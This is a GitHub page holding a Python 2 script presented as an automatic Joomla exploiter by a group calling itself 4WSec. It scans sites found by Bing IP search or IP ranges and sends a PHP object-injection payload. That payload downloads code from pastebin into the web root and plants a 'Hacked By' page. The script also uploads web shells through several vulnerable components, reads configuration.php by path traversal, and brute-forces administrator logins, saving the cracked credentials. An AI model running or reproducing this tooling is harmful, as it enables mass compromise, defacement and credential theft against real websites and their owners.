forked from Mrh1l4n9/J3mB0t
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathjemb0t.py
610 lines (602 loc) · 24.3 KB
/
jemb0t.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
import re , urllib2 , sys , os, requests
from platform import system
from time import sleep
from threading import Thread
if system() == 'Linux':
os.system('clear')
if system() == 'Windows':
os.system('cls')
site = []
listpass = 'password.txt'
listuser = 'user.txt'
jce_image = 'hckd.gif'
alberghi_image = 'hckd.gif'
jceupshell = "4wsec.php"
com_myblog = 'up.php.xxxjpg'
com_fabric = '4wsec.PhP.txt'
index_fabric = "4wsec.txt"
com_jdownloads = '4wsec.php3.g'
com_jdownloads_index = 'hckd.gif'
com_jdownloadszip_index = '4wsec.zip'
com_adsmanager = "4wsec.jpg"
com_adsmanager_index = "4wsec.jpg"
user_agent = "Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3"
payload = """ fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'/XxX.php','w+'),file_get_contents('http://pastebin.com/raw/Q1aM9w16')); fwrite(fopen($_SERVER['DOCUMENT_ROOT']."/libraries/respectMuslims.php","w+"),file_get_contents("http://pastebin.com/raw/Q1aM9w16"));fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'/XxX.html','w+'),' Hacked By Dr.Shap7-Nine ');"""
banner = '''
_______ ____ ____ __
/ /__ /____ ___ / __ )/ __ \/ /_
__ / / /_ </ __ `__ \/ __ / / / / __/
/ /_/ /___/ / / / / / / /_/ / /_/ / /_
\____//____/_/ /_/ /_/_____/\____/\__/
Auto Xploiter by 4WSec
Anon Cyber Team
'''
class Jmbrute(object) :
"""
Class to brute force joomla
"""
def __init__(self, website, timeout=10) :
self.website = website
# Making a requests sesion object
self.req = requests.session()
self.timeout = timeout
def __makeGet(self, url) :
try :
return self.req.get(url, timeout=self.timeout).text
except :
pass
def getToken(self) :
try :
return re.search('<input type="hidden" name="(.*?)" value="1" />', self.__makeGet(self.website)).group(1)
except :
return False
def trylogin(self, user, passwd, token) :
dat = {
'username' : user,
'passwd' : passwd,
'token' : '1',
'lang' : '',
'option' : 'com_login',
'task' : 'login',
'return' : 'aW5kZXgucGhw'
}
try :
self.req.post(self.website, data=dat, timeout=self.timeout)
except :
pass
def checklog(self) :
res = self.__makeGet(self.website)
if res : return 'logout' in res
else : return False
def file2list(fil) :
with open(fil, 'r') as myfile :
return myfile.read().split()
def brute(url,user,passw):
site = url + "/administrator/index.php"
for us in user:
for passwd in passw:
jm = Jmbrute(site)
token = jm.getToken()
if token:
jm.trylogin(us, passwd, token)
if jm.checklog():
print '[*] Cracked', site, '\n#Username : ' + us, '\n#Password :', passwd + '\n'
logger(site, us, passwd, 'Result/Cracked.txt')
break
def logger(website, user, passwd, filename) :
with open(filename, 'a') as myfile :
myfile.write('[*] Cracked '+website+' \n#Username : '+user+' \n#Password : '+passwd+'\n')
def prepare(url, ua):
try:
global user_agent
headers = {
'User-Agent' : user_agent,
'x-forwarded-for' : ua
}
cookies = urllib2.Request(url, headers=headers)
result = urllib2.urlopen(cookies)
cookieJar = result.info().getheader('Set-Cookie')
injection = urllib2.Request(url, headers=headers)
injection.add_header('Cookie', cookieJar)
urllib2.urlopen(injection)
except:
pass
def toCharCode(string):
try:
encoded = ""
for char in string:
encoded += "chr({0}).".format(ord(char))
return encoded[:-1]
except:
pass
def generate(payload):
php_payload = "eval({0})".format(toCharCode(payload))
terminate = '\xf0\xfd\xfd\xfd';
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
return exploit_template
def rce(url):
try:
global payload
payload_generated = generate(payload)
prepare(url, payload_generated)
tester = urllib2.urlopen(url+"/XxX.php").read()
la = requests.get(url+"/XxX.html")
if re.findall("Tryag", tester) and urllib2.urlopen(url+"/XxX.php").getcode() == 200 and "Hacked" in la.content:
site = url + "/XxX.php"
site2 = url + "/XxX.html"
print ("[#]=> %s [ ok ]" % site)
print ("\n[#]=> %s [ ok ]" % site2)
with open("Result/RCE.txt", "a") as f:
f.write("\n")
f.write("[#]=> %s [ ok ]" % site)
f.write("\n")
f.write("[#]=> %s [ ok ]" % site2)
f.write("\n")
except:
pass
def jce(site):
try:
global jce_image
files = {'Filedata': open(jce_image, 'rb')}
post = {
'upload-dir': '../../',
'upload-overwrite': '0',
'action': 'upload'
}
url = site + "/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form"
html = urllib2.urlopen(url).readlines()
for line in html:
if re.findall('No function call specified', line):
req = requests.post(url,files=files, data=post)
if req.status_code == 200 or 'success' in req.text:
url = url.replace('/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form', '/' + jce_image)
if urllib2.urlopen(url).getcode() == 200:
print ("[#]=> %s [ ok ]" % url)
if not os.path.exists("Result"):
os.mkdir("Result", 0755);
with open("Result/JCE.txt", 'a') as neo:
neo.write("[#]=> %s [ ok ]" % url)
neo.write("\n")
except:
pass
def alberghi(site):
try:
global alberghi_image
files = {'userfile': open(alberghi_image, 'rb')}
url = site + "/administrator/components/com_alberghi/upload.alberghi.php"
html = urllib2.urlopen(url).readlines()
for line in html:
if re.findall('Upload', line):
req = requests.post(url,files=files)
if req.status_code == 200 or 'success' in req.text:
url = url.replace('/administrator/components/com_alberghi/upload.alberghi.php', '/administrator/components/com_alberghi/' + alberghi_image)
if urllib2.urlopen(url).getcode() == 200:
print ("[#]=> %s [ ok ]" % url)
if not os.path.exists("Result"):
os.mkdir("Result", 0755);
with open("Result/Alberghi.txt", 'a') as neo:
neo.write("[#]=> %s [ ok ]" % url)
neo.write("\n")
except:
pass
def jce_shell(site):
try:
global jceupshell
files = {'Filedata': open(jceupshell, 'rb')}
post = {
'upload-dir': '../../',
'upload-overwrite': '0',
'action': 'upload'
}
url = site + "/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form"
req = requests.post(url,files=files, data=post)
if req.status_code == 200 or 'success' in req.text:
url = url.replace('/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form', '/' + jceupshell)
openbing = urllib2.urlopen(url)
readbing = openbing.read()
if re.findall("Hamdida", readbing):
print ("[#]=> %s [ ok ]" % url)
if not os.path.exists("Result"):
os.mkdir("Result", 0755);
with open("Result/JCE.txt", 'a') as neo:
neo.write("[#]=> %s [ ok ]" % url)
neo.write("\n")
except:
pass
def adsmanager(site):
try:
global com_adsmanager
files = {'file': open(com_adsmanager, 'rb')}
post = {
"name": "4wsec.php"
}
url = site + "/index.php?option=com_adsmanager&task=upload&tmpl=component"
html = urllib2.urlopen(url).readlines()
for line in html:
if re.findall("jsonrpc", line):
req = requests.post(url, files=files, data=post)
if req.status_code == 200 or 'success' in req.text:
url = url.replace('/index.php?option=com_adsmanager&task=upload&tmpl=component',
'/tmp/plupload/' + com_adsmanager)
openbing = urllib2.urlopen(url)
readbing = openbing.read()
if re.findall("Hamdida", readbing):
print ("[#]=> %s [ ok ]" % url)
if not os.path.exists("Result"):
os.mkdir("Result", 0755);
with open("Result/adsmanager.txt", 'a') as neo:
neo.write("[#]=> %s [ ok ]" % url)
neo.write("\n")
except:
pass
def adsmanager_index(site):
try:
global com_adsmanager_index
files = {'file': open(com_adsmanager_index, 'rb')}
post = {
"name": "4wsec.html"
}
url = site + "/index.php?option=com_adsmanager&task=upload&tmpl=component"
html = urllib2.urlopen(url).readlines()
for line in html:
if re.findall("jsonrpc", line):
req = requests.post(url, files=files, data=post)
if req.status_code == 200 or 'success' in req.text:
url = url.replace('/index.php?option=com_adsmanager&task=upload&tmpl=component',
'/tmp/plupload/' + com_adsmanager_index)
openbing = urllib2.urlopen(url)
readbing = openbing.read()
if re.findall("4wsec", readbing):
print ("[#]=> %s [ ok ]" % url)
if not os.path.exists("Result"):
os.mkdir("Result", 0755);
with open("Result/adsmanager.txt", 'a') as neo:
neo.write("[#]=> %s [ ok ]" % url)
neo.write("\n")
except:
pass
def fabric_index(site):
try:
global index_fabric
files = {'userfile': (index_fabric, open(index_fabric, 'rb'), 'multipart/form-data')}
post = {
"name": "me.php",
"drop_data": "1",
"overwrite": "1",
"field_delimiter": ",",
"text_delimiter": """,
"option": "com_fabrik",
"controller": "import",
"view": "import",
"task": "doimport",
"Itemid": "0",
"tableid": "0"
}
url = site + "/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table="
req = requests.post(url, files=files, data=post)
if req.status_code == 200 or 'success' in req.text:
url = url.replace('/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=',
'/media/' + index_fabric)
openbing = urllib2.urlopen(url)
readbing = openbing.read()
if re.findall("Hacked", readbing):
print ("[#]=> %s [ ok ]" % url)
if not os.path.exists("Result"):
os.mkdir("Result", 0755);
with open("Result/fabric.txt", 'a') as neo:
neo.write("[#]=> %s [ ok ]" % url)
neo.write("\n")
except:
pass
def jdownloads(site):
try:
global com_jdownloads,com_jdownloadszip
files = {'file_upload': (com_jdownloadszip, open(com_jdownloadszip, 'rb'),'multipart/form-data'),'pic_upload':(com_jdownloads, open(com_jdownloads, 'rb'), 'multipart/form-data')}
post = {
'name':'ur name',
'mail':'4wsec@cyberservices.com',
'catlist':'1',
'filetitle':"kontol",
'description':"<p>mex</p>",
'2d1a8f3bd0b5cf542e9312d74fc9766f':1,
'send':1,
'senden':"Send file",
'description':"<p>qsdqsdqsdqsdqsdqsdqsd</p>",
'option':"com_jdownloads",
'view':"upload"
}
url = site + "/index.php?option=com_jdownloads&Itemid=0&view=upload"
req = requests.post(url,files=files, data=post)
if req.status_code == 200 or 'success' in req.text:
url = url.replace('/index.php?option=com_jdownloads&Itemid=0&view=upload', '/images/jdownloads/screenshots/' + com_jdownloads)
openbing = urllib2.urlopen(url)
readbing = openbing.read()
if re.findall("4wsec", readbing):
print ("[#]=> %s [ ok ]" % url)
if not os.path.exists("Result"):
os.mkdir("Result", 0755);
with open("Result/jdownloads.txt", 'a') as neo:
neo.write("[#]=> %s [ ok ]" % url)
neo.write("\n")
except:
pass
def jdownloads_index(site):
try:
global com_jdownloads_index,com_jdownloadszip_index
files = {'file_upload': (com_jdownloadszip_index, open(com_jdownloadszip_index, 'rb'),'multipart/form-data'),'pic_upload':(com_jdownloadszip_index, open(com_jdownloadszip_index, 'rb'), 'multipart/form-data')}
post = {
'name':'ur name',
'mail':'4wsec@cyberservices.com',
'catlist':'1',
'filetitle':"kontol",
'description':"<p>zot</p>",
'2d1a8f3bd0b5cf542e9312d74fc9766f':1,
'send':1,
'senden':"Send file",
'description':"<p>qsdqsdqsdqsdqsdqsdqsd</p>",
'option':"com_jdownloads",
'view':"upload"
}
url = site + "/index.php?option=com_jdownloads&Itemid=0&view=upload"
req = requests.post(url,files=files, data=post)
if req.status_code == 200 or 'success' in req.text:
url = url.replace('/index.php?option=com_jdownloads&Itemid=0&view=upload', '/images/jdownloads/screenshots/' + com_jdownloads_index)
url2 = site + "/images/jdownloads/screenshots/index.html"
openbing = urllib2.urlopen(url2)
readbing = openbing.read()
if urllib2.urlopen(url).getcode() and re.findall("Hacked", readbing):
print ("[#]=> %s [ ok ]" % url)
if not os.path.exists("Result"):
os.mkdir("Result", 0755);
with open("Result/jdownloads.txt", 'a') as neo:
neo.write("[#]=> %s [ ok ]" % url)
neo.write("[#]=> %s [ ok ]" % url2)
neo.write("\n")
except:
pass
def fabric(site):
try:
global com_fabric
files = {'userfile': (com_fabric, open(com_fabric, 'rb'), 'multipart/form-data')}
post = {
"name" : "me.php",
"drop_data" : "1",
"overwrite" : "1",
"field_delimiter" : ",",
"text_delimiter" : """,
"option" : "com_fabrik",
"controller" : "import",
"view" : "import",
"task" : "doimport",
"Itemid" : "0",
"tableid" : "0"
}
url = site + "/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table="
req = requests.post(url,files=files, data=post)
if req.status_code == 200 or 'success' in req.text:
url = url.replace('/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=', '/media/' + com_fabric)
openbing = urllib2.urlopen(url)
readbing = openbing.read()
if re.findall("Tryag File Manager", readbing):
print ("[#]=> %s [ ok ]" % url)
if not os.path.exists("Result"):
os.mkdir("Result", 0755);
with open("Result/fabric.txt", 'a') as neo:
neo.write("[#]=> %s [ ok ]" % url)
neo.write("\n")
except:
pass
def myblog(site):
try:
global com_myblog
files = {'fileToUpload': open(com_myblog, 'rb')}
url = site + "/index.php?option=com_myblog&task=ajaxupload"
req = requests.post(url,files=files)
if req.status_code == 200 or 'success' in req.text:
url = url.replace('/index.php?option=com_myblog&task=ajaxupload', '/images/' + com_myblog)
openbing = urllib2.urlopen(url)
readbing = openbing.read()
url2 = site + '/images/stories/' + com_myblog
test2 = urllib2.urlopen(url2)
readtest2 = test2.read()
if re.findall("Tryag File Manager", readbing) or re.findall("Tryag File Manager", readtest2):
print ("[#]=> %s [ ok ]" % url)
if not os.path.exists("Result"):
os.mkdir("Result", 0755);
with open("Result/myblog.txt", 'a') as neo:
neo.write("[#]=> %s [ ok ]" % url)
neo.write("\n")
except:
pass
def cckjseblod(url):
try:
response = urllib2.urlopen(url+"/index.php?option=com_cckjseblod&task=download&file=configuration.php")
content = response.read()
if content != "" and not "failed to open stream" in content and re.findall("JConfig", content):
site = url + "/index.php?option=com_cckjseblod&task=download&file=configuration.php"
print ("[#]=> %s [ ok ]" % site)
if not os.path.exists("Result"):
os.mkdir("Result", 0755);
with open("Result/cckjseblod.txt", 'a') as neo:
print ("[#]=> %s [ ok ]" % site)
neo.write("\n")
else:
pass
except urllib2.HTTPError:
pass
except urllib2.URLError:
pass
def macgallery(url):
try:
response = urllib2.urlopen(url+"/index.php?option=com_macgallery&view=download&albumid=../../configuration.php")
content = response.read()
if content != "" and not "failed to open stream" in content and re.findall("JConfig", content):
site = url + "/index.php?option=com_macgallery&view=download&albumid=../../configuration.php"
print ("[#]=> %s [ ok ]" % site)
if not os.path.exists("Result"):
os.mkdir("Result", 0755);
with open("Result/macgallery.txt", 'a') as neo:
print ("[#]=> %s [ ok ]" % site)
neo.write("\n")
else:
pass
except urllib2.HTTPError:
pass
except urllib2.URLError:
pass
def hdflvplayer(url):
try:
req = urllib2.Request(url + "/components/com_hdflvplayer/hdflvplayer/download.php?f=../../../configuration.php")
response = urllib2.urlopen(req)
content = response.read()
if content != "" and not "failed to open stream" in content and re.findall("JConfig", content):
site = url + "/components/com_hdflvplayer/hdflvplayer/download.php?f=../../../configuration.php"
print ("[#]=> %s [ ok ]" % site)
if not os.path.exists("Result"):
os.mkdir("Result", 0755);
with open("Result/hdflvplayer.txt", 'a') as neo:
neo.write("[#]=> %s [ ok ]" % site)
neo.write("\n")
except urllib2.HTTPError:
pass
except urllib2.URLError:
pass
def s5_media_player(url):
try:
req = urllib2.Request(url + "/plugins/content/s5_media_player/helper.php?fileurl=Li4vLi4vLi4vY29uZmlndXJhdGlvbi5waHA=")
response = urllib2.urlopen(req)
content = response.read()
if content != "" and not "failed to open stream" in content and re.findall("JConfig", content):
site = url + "/plugins/content/s5_media_player/helper.php?fileurl=Li4vLi4vLi4vY29uZmlndXJhdGlvbi5waHA="
print ("[#]=> %s [ ok ]" % site)
if not os.path.exists("Result"):
os.mkdir("Result", 0755);
with open("Result/s5_media_player.txt", 'a') as neo:
neo.write("[#]=> %s [ ok ]" % site)
neo.write("\n")
except urllib2.HTTPError:
pass
except urllib2.URLError:
pass
def unique(seq):
seen = set()
return [seen.add(x) or x for x in seq if x not in seen]
print banner
def test(url):
try:
openbing = urllib2.urlopen(url)
readbing = openbing.read()
req = requests.get(url)
if re.findall("Joomla", readbing) or "Joomla" in req.text or urllib2.urlopen(url+"/administrator").getcode() == 200:
print "[#]> Scanning : " + url
print "\nTesting RCE : \n"
rce(url)
print "\nTesting Jce : \n"
jce(url)
jce_shell(url)
print "\nTesting Alberghi : \n"
alberghi(url)
print "\nTesting Cckjseblod : \n"
cckjseblod(url)
print "\nTesting Hdflvplayer : \n"
hdflvplayer(url)
print "\nTesting Macgallery : \n"
macgallery(url)
print "\nTesting Shape 5 MP3 Player : \n"
s5_media_player(url)
print "\nTesting MyBlog : \n"
myblog(url)
print "\nTesting Fabric : \n"
fabric(url)
fabric_index(url)
print "\nTesting JDownloads : \n"
jdownloads(url)
jdownloads_index(url)
print "\nTesting Adsmanager : \n"
adsmanager(url)
adsmanager_index(url)
print "\n[#]>Brute Forcing<[#]\n"
userlist = file2list(listuser)
passlist = file2list(listpass)
brute(url,userlist,passlist)
else:
pass
except:
pass
def grabber(s):
global site
xxxx = []
page = 1
while page <= 101:
bing = "http://www.bing.com/search?q=ip%3A" + s + "+&count=50&first=" + str(page)
openbing = urllib2.urlopen(bing)
readbing = openbing.read()
findwebs = re.findall('<h2><a href="(.*?)"', readbing)
for i in range(len(findwebs)):
allnoclean = findwebs[i]
findall1 = re.findall('http://(.*?)/', allnoclean)
for idx, item in enumerate(findall1):
if 'www' not in item:
findall1[idx] = 'http://www.' + item + '/'
else:
findall1[idx] = 'http://' + item + '/'
xxxx.extend(findall1)
page = page + 10
final = unique(xxxx)
site.extend(final)
def ipRange(start_ip, end_ip):
start = list(map(int, start_ip.split(".")))
end = list(map(int, end_ip.split(".")))
temp = start
ip_range = []
ip_range.append(start_ip)
while temp != end:
start[3] += 1
for i in (3, 2, 1):
if temp[i] == 256:
temp[i] = 0
temp[i - 1] += 1
ip_range.append(".".join(map(str, temp)))
return ip_range
def main():
print "\r\n1)-\tFrom Server IP\n2)-\tFrom WebSite\n3)-\tIP Range\n"
c = raw_input("Apa yg lu mau?\n")
if c == '1':
ip = raw_input('[+] Enter Server IP : ')
try:
print banner
grabber(str(ip))
for _site in site:
test(_site)
except:
pass
elif c == '2':
list = raw_input('[+] Enter List Name : ')
try:
file = open(list).readlines()
print banner
if (len(file) > 0):
for attack in file:
_attack = attack.rstrip()
test(_attack)
except:
pass
else:
pass
elif c == '3':
ip_start = raw_input('[+] Enter Start IP : ')
ip_end = raw_input('[+] Enter End IP : ')
try:
print banner
ip_range = ipRange(ip_start, ip_end)
for ip in ip_range:
grabber(ip)
for _site in site:
test(_site)
except:
pass
if __name__ == '__main__':
main()